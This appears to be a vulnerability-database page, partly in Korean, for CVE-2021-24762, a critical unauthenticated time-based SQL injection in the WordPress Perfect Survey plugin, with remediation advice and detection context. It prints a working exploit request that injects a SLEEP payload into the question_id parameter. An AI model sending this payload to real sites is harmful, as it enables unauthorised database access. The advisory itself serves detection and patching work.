🔙 목록으로 돌아가기

CVE-2021-24762: WordPress Perfect Survey <1.5.2 - SQL Injection

TitleWordPress Perfect Survey <1.5.2 - SQL Injection
Authorcckuailong
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.
RemediationUpdate to the latest version of the WordPress Perfect Survey plugin (1.5.2) to mitigate the SQL Injection vulnerability.
CVSS Score9.8
EPSS Score0.84686
CVE IDCVE-2021-24762
CWE IDCWE-89
Tags time-based-sqli cve2021 cve wpscan sqli wp wordpress wp-plugin edb getperfectsurvey vkev vuln

🔍 Vulnerability Description

Perfect Survey WordPress plugin before 1.5.2 does not validate and escape the question_id GET parameter before using it in a SQL statement in the get_question AJAX action, allowing unauthenticated users to perform SQL injection.

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?action=get_question&question_id=1%20AND%20(SELECT%207242%20FROM%20(SELECT(SLEEP(7)))HQYx) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24762.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24762.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A